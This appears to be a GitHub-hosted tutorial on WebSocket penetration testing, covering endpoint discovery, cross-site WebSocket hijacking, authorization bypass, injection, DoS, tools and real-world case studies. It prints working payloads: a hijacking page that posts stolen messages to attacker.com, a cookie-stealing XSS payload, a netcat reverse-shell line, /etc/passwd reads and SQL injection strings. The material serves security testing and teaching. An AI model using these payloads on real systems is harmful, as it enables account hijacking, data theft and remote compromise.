Skip to content

Latest commit

 

History

History
972 lines (712 loc) · 29.7 KB

File metadata and controls

972 lines (712 loc) · 29.7 KB

Comprehensive WebSocket Exploitation Methodology

This document provides a complete, step-by-step methodology for testing and exploiting WebSocket vulnerabilities, including real-world examples, tool configurations, and practical techniques used by security professionals.


Table of Contents

  1. Understanding the WebSocket Attack Surface
  2. Phase 1: Discovery and Enumeration
  3. Phase 2: Testing for Cross-Site WebSocket Hijacking (CSWSH)
  4. Phase 3: Authentication and Authorization Testing
  5. Phase 4: Input Validation and Injection Attacks
  6. Phase 5: Denial of Service and Race Conditions
  7. Complete Tool Reference
  8. Real-World Vulnerability Case Studies
  9. Checklist for WebSocket Penetration Testing

Understanding the WebSocket Attack Surface

WebSocket connections differ fundamentally from HTTP requests. Unlike HTTP's request-response model, WebSockets maintain persistent, bidirectional communication channels. This creates unique security challenges:

  • Persistent connections mean that a single vulnerability can provide ongoing access
  • Stateful communication requires careful session management across many messages
  • Protocol upgrade from HTTP to WebSocket can bypass traditional security controls
  • Origin handling differs from CORS and is often misconfigured

Before testing, understand that a WebSocket connection begins with an HTTP handshake. This handshake contains critical security headers that many servers fail to validate properly.


Phase 1: Discovery and Enumeration

1.1 Finding WebSocket Endpoints

The first step is identifying all WebSocket endpoints in your target application.

Browser Developer Tools Method:

  1. Open Developer Tools (F12)
  2. Navigate to the Network tab
  3. Filter by "WS" or "WebSocket"
  4. Refresh the application and interact with real-time features
  5. Look for connections starting with ws:// or wss://

Using STEWS for Automated Discovery:

STEWS (Security Testing for WebSockets) automates endpoint discovery by crawling the application and analyzing JavaScript.

# Discovery mode - crawls and finds WebSocket endpoints
python3 stews.py -u https://target.com --discovery

# With custom wordlist for endpoint brute-forcing
python3 stews.py -u https://target.com --discovery --wordlist websocket-wordlist.txt

Manual Discovery Techniques:

  • Search JavaScript files for new WebSocket(, ws://, wss://, WebSocketServer
  • Look for URLs in page source that contain /socket, /ws, /websocket
  • Check API documentation or Swagger/OpenAPI files
  • Monitor network traffic while using all application features

1.2 Fingerprinting WebSocket Servers

Different WebSocket implementations have unique behaviors that can be identified and exploited.

# Using STEWS for fingerprinting
python3 stews.py -u wss://target.com/socket --fingerprint

# Using wscat to probe server behavior
wscat -c wss://target.com/socket -H "Origin: https://test.com"

Common WebSocket server implementations and their characteristics:

Server Identifying Features
Socket.IO Query parameter EIO in handshake, 40 as initial message
Spring WebSocket Specific error message formats
ws (Node.js) Certain close code behaviors
Atmosphere Specific handshake response patterns

1.3 Enumerating Message Types and Actions

Once connected, you need to understand the message structure and available actions.

Using Burp Suite's WebSocket History:

  1. Proxy → WebSockets history
  2. Review all captured messages
  3. Note patterns: {"action":"...", "data":...}
  4. Look for version numbers, client identifiers, or session tokens in messages

Using wscat for Interactive Probing:

# Connect and start sending test messages
wscat -c wss://target.com/socket

# Common test messages to try
> {"type":"ping"}
> {"action":"get_version"}
> {"action":"list_methods"}
> {"method":"system.listMethods"}  # For JSON-RPC
> {"action":"help"}
> {}
> {"test":"test"}

Phase 2: Testing for Cross-Site WebSocket Hijacking (CSWSH)

2.1 Understanding CSWSH

Cross-Site WebSocket Hijacking occurs when a server accepts WebSocket connections from any origin. A malicious website can initiate a connection using the victim's cookies and then read or send messages through that connection.

How CSWSH differs from CSRF:

  • CSRF is a single HTTP request
  • CSWSH creates a persistent bidirectional channel
  • CSWSH allows ongoing data exfiltration and command execution

2.2 Manual CSWSH Testing

Step 1: Capture the Handshake Request

Use Burp Suite or a proxy to capture the initial WebSocket handshake HTTP request:

GET /chat HTTP/1.1
Host: target.com
Origin: https://target.com
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Version: 13
Upgrade: websocket
Connection: Upgrade
Cookie: session=abc123

Step 2: Modify the Origin Header

Send the same request with a modified Origin header:

GET /chat HTTP/1.1
Host: target.com
Origin: https://evil.com
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Version: 13
Upgrade: websocket
Connection: Upgrade
Cookie: session=abc123

Step 3: Analyze the Response

  • If the server returns 101 Switching Protocols → Vulnerable to CSWSH
  • If the server returns 403 Forbidden or 400 Bad Request → Proper origin validation is in place

Step 4: Test Edge Cases

# Test with null origin (sent by sandboxed iframes)
Origin: null

# Test with missing origin header
(omit Origin header entirely)

# Test with subdomain variations
Origin: https://target.com.evil.com
Origin: https://evil.target.com

# Test with different schemes
Origin: http://target.com

2.3 Real-World CSWSH Exploitation Example

The following real vulnerability was found in the Nanobot WhatsApp Bridge in 2026 . The bridge server bound to localhost but failed to validate the Origin header, and token authentication was disabled by default.

Vulnerable Server Configuration:

// Vulnerable code from nanobot WhatsApp bridge
this.wss = new WebSocketServer({ host: '127.0.0.1', port: 3001 });

this.wss.on('connection', (ws) => {
  if (this.token) {
    // Token validation logic
  } else {
    // VULNERABLE: Instantly accepts connections without token or Origin validation
    this.setupClient(ws);
  }
});

Exploit Code (Python):

import asyncio
import json
import websockets

async def exploit_cswsh():
    uri = "ws://127.0.0.1:3001/"
    headers = {"Origin": "https://attacker-website.com"}
    
    async with websockets.connect(uri, additional_headers=headers) as ws:
        print("[+] Connected! Server accepted cross-origin connection.")
        
        # Send message as the victim
        attack_cmd = {
            "type": "send",
            "to": "+1234567890",
            "text": "Hello from attacker!"
        }
        await ws.send(json.dumps(attack_cmd))
        print("[+] Message sent!")

asyncio.run(exploit_cswsh())

Exploit Code (JavaScript for Malicious Website):

<!-- Malicious page hosted at https://attacker.com/exploit.html -->
<script>
var ws = new WebSocket('ws://127.0.0.1:3001/');

ws.onopen = function() {
    // Send message as victim
    ws.send(JSON.stringify({
        type: "send",
        to: "+1234567890", 
        text: "Stolen via CSWSH!"
    }));
    
    // Request all messages
    ws.send(JSON.stringify({
        type: "get_messages",
        limit: 100
    }));
};

ws.onmessage = function(event) {
    // Exfiltrate data to attacker
    fetch('https://attacker.com/steal', {
        method: 'POST',
        body: event.data
    });
};
</script>

2.4 Automated CSWSH Testing with Burp Suite

Using WebSocket Turbo Intruder:

Install from BApp Store, then use this Python script:

def queue_websockets(upgrade_request, message):
    # Test with malicious origin
    malicious_origin = upgrade_request.withHeader("Origin", "https://evil.com")
    connection = websocket_connection.create(malicious_origin)
    connection.queue(message)

def handle_outgoing_message(websocket_message):
    results_table.add(websocket_message)

def handle_incoming_message(websocket_message):
    # If we get a 101 response, the endpoint is vulnerable
    if "101" in str(websocket_message):
        print("[!] CSWSH Vulnerability Confirmed!")
    results_table.add(websocket_message)

2.5 Using OpenSSL for Handshake Testing

You can perform the WebSocket handshake manually using OpenSSL to verify origin validation :

# Establish TLS connection
openssl s_client -connect target.com:443

# After connection, send the handshake manually
GET /socket HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://evil.com

# Press Enter twice to send the request
# If you receive "HTTP/1.1 101 Switching Protocols", the endpoint is vulnerable

Phase 3: Authentication and Authorization Testing

3.1 Testing for Missing Authentication

WebSocket endpoints sometimes lack the same authentication checks as their HTTP counterparts .

Test Case 1: Connect Without Credentials

# Connect without any session cookie
wscat -c wss://target.com/socket

# If connection succeeds, authentication is missing
# Try sending messages to access protected data
> {"action":"get_profile"}

Real-World Example - CVE-2025-54376 (Hoverfly):

Hoverfly versions 1.11.3 and prior had a WebSocket endpoint /api/v2/ws/logs that was not protected by authentication middleware, while the REST API required authentication .

Exploitation:

# Unauthenticated access to streaming logs
wscat -c wss://target.com/api/v2/ws/logs

# Once connected, real-time logs containing sensitive data are streamed
# Logs may include request/response bodies, internal file paths, API keys

Impact: Information disclosure of application logs, request bodies, and internal paths.

3.2 Testing for Authorization Bypass (IDOR over WebSocket)

Once authenticated, test whether the server enforces proper authorization on each message.

Using SocketSleuth for Automated AuthZ Testing:

SocketSleuth is a Burp extension that automates authorization testing for WebSocket applications .

Setup:

  1. Download SocketSleuth from GitHub
  2. Build with Maven: mvn clean package
  3. Load JAR into Burp: Extensions → Installed → Add

Using WebSocket AutoRepeater Feature:

The AutoRepeater feature allows you to replay messages from one session (attacker) to another (victim) automatically.

1. Capture WebSocket messages from your low-privilege session
2. Capture WebSocket messages from a high-privilege session
3. Configure AutoRepeater to replay high-privilege messages through low-privilege connection
4. If server returns data from high-privilege endpoint → Authorization bypass exists

Manual IDOR Testing Steps:

// Step 1: Connect as user A
var ws = new WebSocket('wss://target.com/socket');
ws.onopen = () => {
    // Send message requesting user B's data
    ws.send('{"action":"get_user","user_id":"user_B_id"}');
};

// Step 2: Observe response
ws.onmessage = (e) => {
    // If you receive user B's data, IDOR vulnerability exists
    console.log(e.data);
};

Common IDOR patterns to test:

  • Change user_id, account_id, document_id parameters
  • Modify role from user to admin
  • Access endpoints like /admin, /internal, /debug
  • Change HTTP methods or message types

3.3 Session Management Testing

WebSocket connections may outlive the HTTP session they were created with.

Test Procedure:

  1. Establish WebSocket connection with valid session
  2. In another browser/tab, log out or invalidate the session
  3. Attempt to send messages over the original WebSocket connection
  4. If messages are still accepted, the server fails to re-validate session state
// Check if connection remains valid after logout
// Original connection (should be closed or reject messages)
ws.send('{"action":"get_data"}');  // Should fail if session is invalidated

Phase 4: Input Validation and Injection Attacks

4.1 SQL Injection over WebSocket

WebSocket messages often contain parameters that are used in database queries. These can be vulnerable to SQL injection just like HTTP parameters .

Manual Testing:

// Test with single quote to trigger error
ws.send('{"search":"test\'"}');

// Test with boolean conditions
ws.send('{"user_id":"1 AND 1=1"}');
ws.send('{"user_id":"1 AND 1=2"}');  // Compare responses

// Extract data with UNION
ws.send('{"search":"test\' UNION SELECT username,password FROM users--"}');

Automated Testing with WebSocket Turbo Intruder:

WebSocket Turbo Intruder allows high-speed fuzzing of WebSocket messages .

# SQL injection fuzzing script for WebSocket Turbo Intruder
def queue_websockets(upgrade_request, message):
    connection = websocket_connection.create(upgrade_request)
    
    # SQL injection payloads
    payloads = [
        "'",
        "1' OR '1'='1",
        "1; DROP TABLE users--",
        "1' UNION SELECT NULL--",
        "1' AND SLEEP(5)--"
    ]
    
    for payload in payloads:
        # Replace parameter value with payload
        modified_message = message.replace("FUZZ", payload)
        connection.queue(modified_message)

def handle_incoming_message(websocket_message):
    # Check for SQL errors or timing differences
    if "SQL" in str(websocket_message) or "syntax" in str(websocket_message).lower():
        results_table.mark_as_interesting(websocket_message)
    results_table.add(websocket_message)

Real-World Example - CTF Challenge (Intigriti 1337UP LIVE 2023):

A CTF challenge required exploiting SQL injection over a WebSocket connection to access a database of bug reports . The methodology was:

  1. Discover the WebSocket endpoint through enumeration
  2. Identify the vulnerable parameter in WebSocket messages
  3. Use a modified proxy or custom script to send SQL injection payloads
  4. Extract database contents through UNION-based injection
  5. Use recovered credentials to access hidden endpoints

Using SQLMap with WebSocket (Custom Proxy Method):

Since SQLMap doesn't natively support WebSocket, use a proxy:

# websocket_to_http_proxy.py
import asyncio
import websockets
import requests

async def proxy():
    uri = "wss://target.com/socket"
    async with websockets.connect(uri) as ws:
        while True:
            # Receive message from SQLMap via HTTP
            # This is simplified - implement proper message forwarding
            message = await ws.recv()
            # Forward to SQLMap
            requests.post("http://localhost:8080/sqlmap", data=message)

asyncio.run(proxy())

Then point SQLMap to the local HTTP endpoint.

4.2 Cross-Site Scripting (XSS) via WebSocket

If the server broadcasts messages to other clients without sanitization, stored XSS is possible.

Testing Procedure:

// Send XSS payload in a message
ws.send('{"message":"<img src=x onerror=alert(1)>"}');
ws.send('{"message":"<script>alert(document.cookie)</script>"}');

// Send payload that exfiltrates data
ws.send('{"message":"<script>fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)</script>"}');

Real-World Impact: If an administrator views the chat panel, the XSS executes in their browser with administrator privileges, potentially leading to account takeover.

4.3 Command Injection

If the server processes WebSocket messages by executing system commands, command injection may be possible.

// Test command injection
ws.send('{"host":"google.com; id"}');
ws.send('{"file":"report.txt && cat /etc/passwd"}');
ws.send('{"ping":"127.0.0.1 | whoami"}');

// Reverse shell
ws.send('{"command":"nc -e /bin/sh attacker.com 4444"}');

4.4 JSON and Protocol-Specific Injection

JSON Injection:

// Test for JSON parsing issues
ws.send('{"action":"test","data":"}"}');  // Unbalanced braces
ws.send('{"action":"test","data":"\u0000"}');  // Null bytes
ws.send('{"__proto__":{"admin":true}}');  // Prototype pollution

Socket.IO Specific Testing:

Socket.IO is a popular framework with its own protocol. Look for the EIO query parameter in the handshake URL .

// Socket.IO connection URL pattern
wss://target.com/socket.io/?EIO=4&transport=websocket

// Initial message to establish connection
ws.send('40');  // Opens the Socket.IO connection

// Actual messages are wrapped with a prefix
ws.send('42["event_name", {"data":"value"}]');

Socket.IO Server-Side Prototype Pollution:

Some Socket.IO implementations are vulnerable to server-side prototype pollution .

# Exploit script for Socket.IO prototype pollution
def queue_websockets(upgrade_request, message):
    # Add EIO parameter
    modified_request = upgrade_request.withUpdatedParameters(
        HttpParameter.urlParameter("EIO", "4")
    )
    connection = websocket_connection.create(modified_request)
    
    # Send initial connection message
    connection.queue('40')
    
    # Send prototype pollution payload
    pollution_payload = '42["test", {"__proto__":{"initialPacket":"Polluted"}}]'
    connection.queue(pollution_payload)

@Pong("3")
def handle_outgoing_message(websocket_message):
    results_table.add(websocket_message)

Phase 5: Denial of Service and Race Conditions

5.1 WebSocket Ping of Death

Some WebSocket implementations allocate memory based on the payload length field in the header, even if the actual payload is smaller .

# Ping of Death exploit using WebSocket Turbo Intruder
def queue_websockets(upgrade_request, message):
    connection = websocket_connection.create(upgrade_request)
    
    # Create malformed frame with maximum payload length
    # This causes server to allocate huge buffer (Integer.MAX_VALUE bytes)
    malformed_frame = create_malformed_frame(payload_length=2147483647)
    connection.queue_raw(malformed_frame)

Real-World Impact: A Java WebSocket implementation crashed when receiving a frame claiming a payload length of Integer.MAX_VALUE but with no actual payload. The server allocated a massive buffer, ran out of memory, and became unresponsive.

5.2 Race Condition Testing

WebSocket race conditions occur when multiple messages are processed concurrently without proper locking .

Using WebSocket Turbo Intruder's THREADED Engine:

# Race condition testing script
def queue_websockets(upgrade_request, message):
    # The THREADED engine creates multiple parallel connections
    # Configuration in config() method sets thread count
    connection = websocket_connection.create(upgrade_request)
    
    # Queue the same message multiple times
    for i in range(50):
        connection.queue(message)

def config():
    return {
        "engine": "THREADED",  # Parallel execution
        "threads": 10,         # Number of concurrent connections
        "delay": 0             # No delay between messages
    }

Common Race Condition Scenarios:

  • Gift card balance: Redeem same code multiple times
  • Inventory: Purchase more items than available
  • Account creation: Register same username simultaneously
  • Token validation: Use single-use token multiple times

5.3 Rate Limiting Bypass

WebSocket connections often bypass HTTP rate limiting because they use a different protocol.

Testing for Missing Rate Limits:

# Send 1000 rapid messages
import asyncio
import websockets

async def flood():
    uri = "wss://target.com/socket"
    async with websockets.connect(uri) as ws:
        for i in range(1000):
            await ws.send(f'{{"message":"{i}"}}')
            # No delay between messages

asyncio.run(flood())

Expected Behavior:

  • Secure: Server disconnects after X messages per second
  • Vulnerable: All 1000 messages are processed

Complete Tool Reference

Burp Suite Extensions

WebSocket Turbo Intruder

  • Purpose: High-speed fuzzing of WebSocket messages
  • Install: BApp Store → WebSocket Turbo Intruder
  • Features: Custom Python scripts, threaded engine, response filtering
  • Best for: Fuzzing, race conditions, automation
# Basic Turbo Intruder script template
def queue_websockets(upgrade_request, message):
    connection = websocket_connection.create(upgrade_request)
    for payload in wordlist:
        connection.queue(message.replace("§§", payload))

@MatchRegex(r"error|exception|SQL")
def handle_incoming_message(websocket_message):
    results_table.mark_as_interesting(websocket_message)

SocketSleuth

  • Purpose: WebSocket-specific testing features
  • Install: Build from GitHub and load JAR
  • Features: WebSocket history tab, AutoRepeater for authZ testing, match/replace rules
  • Best for: Authorization testing, message manipulation

Key SocketSleuth Features:

  • WebSocket Intruder: Sniper attacks with lists or numeric sequences
  • AutoRepeater: Automatically replay messages across sessions for authZ testing
  • Match & Replace: Modify messages with regex, hex, or string replacement

Command-Line Tools

wscat

# Installation
npm install -g wscat

# Basic connection
wscat -c wss://target.com/socket

# With custom headers
wscat -c wss://target.com/socket -H "Authorization: Bearer token" -H "X-Custom: value"

# Send message and exit
wscat -c wss://target.com/socket -x '{"action":"ping"}'

# Read messages from file
cat payloads.txt | while read line; do wscat -c wss://target.com/socket -x "$line"; done

websocat

# Install from GitHub releases
# Basic usage
websocat wss://target.com/socket

# With origin header
websocat -H "Origin: https://evil.com" wss://target.com/socket

# Bidirectional piping
websocat -b wss://target.com/socket input.txt output.txt

OpenSSL

# Test WebSocket handshake
openssl s_client -connect target.com:443 -quiet

# Then manually send:
GET /socket HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: test123
Sec-WebSocket-Version: 13
Origin: https://evil.com

# Press Enter twice

STEWS (Security Testing for WebSockets)

STEWS is a comprehensive WebSocket security testing framework .

# Installation
git clone https://github.com/PalindromeLabs/STEWS
cd STEWS
pip install -r requirements.txt

# Discovery - find WebSocket endpoints
python3 stews.py -u https://target.com --discovery

# Fingerprinting - identify server implementation
python3 stews.py -u wss://target.com/socket --fingerprint

# Fuzzing - send malformed messages
python3 stews.py -u wss://target.com/socket --fuzz

# Full scan
python3 stews.py -u https://target.com --discovery --fuzz --output report.json

Custom Python Scripts

For complete control, use the websockets library:

import asyncio
import websockets
import json

async def websocket_test():
    # Connect with custom headers
    headers = {
        "Origin": "https://evil.com",
        "Cookie": "session=abc123"
    }
    
    uri = "wss://target.com/socket"
    
    async with websockets.connect(uri, extra_headers=headers) as ws:
        # Test CSWSH
        print("[*] Testing CSWSH...")
        await ws.send('{"action":"ping"}')
        response = await ws.recv()
        
        if response:
            print("[!] Connection accepted with malicious origin!")
        
        # Test IDOR
        print("[*] Testing IDOR...")
        await ws.send('{"action":"get_user","user_id":1}')
        response = await ws.recv()
        print(f"Response: {response}")
        
        # Test SQL injection
        print("[*] Testing SQL injection...")
        await ws.send('{"search":"test\' UNION SELECT password FROM users--"}')
        response = await ws.recv()
        
        if "SQL" in response or "syntax" in response.lower():
            print("[!] Potential SQL injection detected!")

asyncio.run(websocket_test())

Real-World Vulnerability Case Studies

Case Study 1: Nanobot WhatsApp Bridge CSWSH (2026)

Vulnerability: Cross-Site WebSocket Hijacking due to missing Origin validation and disabled token authentication.

Root Cause:

  • WebSocket server bound to localhost (127.0.0.1)
  • No Origin header validation
  • Token authentication disabled by default
  • Browser does not enforce Same-Origin Policy on WebSockets unless server rejects

Impact:

  • Attacker can hijack WhatsApp session
  • Read all incoming messages
  • Steal authentication QR codes
  • Send messages as the victim

Fix Applied:

  • Enable token authentication by default
  • Implement Origin header validation
  • Document security configuration requirements

Case Study 2: Hoverfly WebSocket Authentication Bypass (CVE-2025-54376)

Vulnerability: WebSocket endpoint /api/v2/ws/logs accessible without authentication while REST API required authentication.

Root Cause:

  • Authentication middleware only applied to REST endpoints
  • WebSocket endpoint added without authentication check

Impact:

  • Unauthenticated attackers can stream real-time application logs
  • Logs contain sensitive data: internal file paths, request/response bodies, API keys

CVSS Score: 7.5 (High)

Fix Applied:

  • Apply same authentication middleware to WebSocket endpoint
  • Version 1.12.0 contains the fix

Case Study 3: Cryptocurrency Exchange CSWSH (2019)

Vulnerability: WebSocket endpoint for real-time trading accepted any Origin header.

Root Cause:

  • Server did not validate Origin header during WebSocket handshake
  • Assumed WebSocket connections were same-origin by default

Impact:

  • Attacker could execute trades on victim's account
  • Access real-time order book and trading data

Fix Applied:

  • Implemented strict Origin whitelist
  • Added CSRF tokens for sensitive WebSocket actions

Case Study 4: Java WebSocket Ping of Death

Vulnerability: Memory allocation based on payload length field without validating actual payload size.

Root Cause:

// Vulnerable pseudo-code
int payloadLength = readFrameHeader();  // User-controlled
byte[] buffer = new byte[payloadLength];  // Allocates huge buffer
readPayload(buffer);  // Reads much less data

Impact:

  • Server allocates massive memory buffer
  • Out of memory condition
  • Complete denial of service

Fix Applied:

  • Validate payload length against maximum allowed
  • Stream data instead of pre-allocating full buffer

Checklist for WebSocket Penetration Testing

Discovery Phase

  • Crawl application for WebSocket URLs
  • Search JavaScript for new WebSocket(
  • Check API documentation
  • Test common endpoints: /socket, /ws, /websocket, /chat
  • Fingerprint WebSocket server implementation

CSWSH Testing

  • Test with malicious Origin header
  • Test with null Origin
  • Test with missing Origin header
  • Test with subdomain variations
  • Verify if server accepts cross-origin connections

Authentication Testing

  • Attempt connection without session cookie
  • Test session invalidation after logout
  • Verify token refresh over WebSocket
  • Check for hardcoded or default credentials

Authorization Testing

  • Modify user_id, account_id, document_id parameters
  • Test role escalation (user→admin)
  • Access administrative endpoints
  • Use SocketSleuth AutoRepeater for automated authZ testing

Input Validation

  • SQL injection with single quote
  • XSS payloads in messages
  • Command injection with ;, |, &&
  • JSON injection with braces and null bytes
  • Prototype pollution (__proto__)
  • Long strings (buffer overflow)
  • Unicode and encoding bypasses

Denial of Service

  • Rapid message flooding
  • Multiple connection attempts
  • Large message sizes
  • Malformed frames (Ping of Death)

Race Conditions

  • Concurrent message sending
  • Parallel connection attempts
  • State-changing operations in parallel

Transport Security

  • Verify WSS is enforced
  • Check for mixed content warnings
  • Test protocol downgrade (wss→ws)

Tool-Based Testing

  • Burp Suite WebSocket history review
  • WebSocket Turbo Intruder fuzzing
  • SocketSleuth authZ testing
  • STEWS discovery and fingerprinting
  • wscat manual testing

Reporting

  • Document vulnerable endpoints
  • Provide proof-of-concept code
  • Describe impact (data access, account takeover, etc.)
  • Include remediation recommendations

Remediation Recommendations

For developers securing WebSocket implementations:

  1. Always validate the Origin header during the WebSocket handshake against a whitelist of allowed origins.

  2. Use WSS (WebSocket Secure) exclusively in production environments to prevent MITM attacks.

  3. Implement authentication for every message, not just the initial handshake.

  4. Apply rate limiting to both connection attempts and individual messages.

  5. Validate and sanitize all input received over WebSocket connections.

  6. Use parameterized queries when processing WebSocket data that interacts with databases.

  7. Set appropriate message size limits to prevent memory exhaustion attacks.

  8. Implement connection timeouts and heartbeat mechanisms to detect stale connections.

  9. Log WebSocket events including connections, disconnections, and errors for monitoring.

  10. Regularly update WebSocket libraries to patch known vulnerabilities.


This methodology provides a comprehensive approach to WebSocket security testing. Always ensure you have proper authorization before testing any application, and follow responsible disclosure practices when finding vulnerabilities.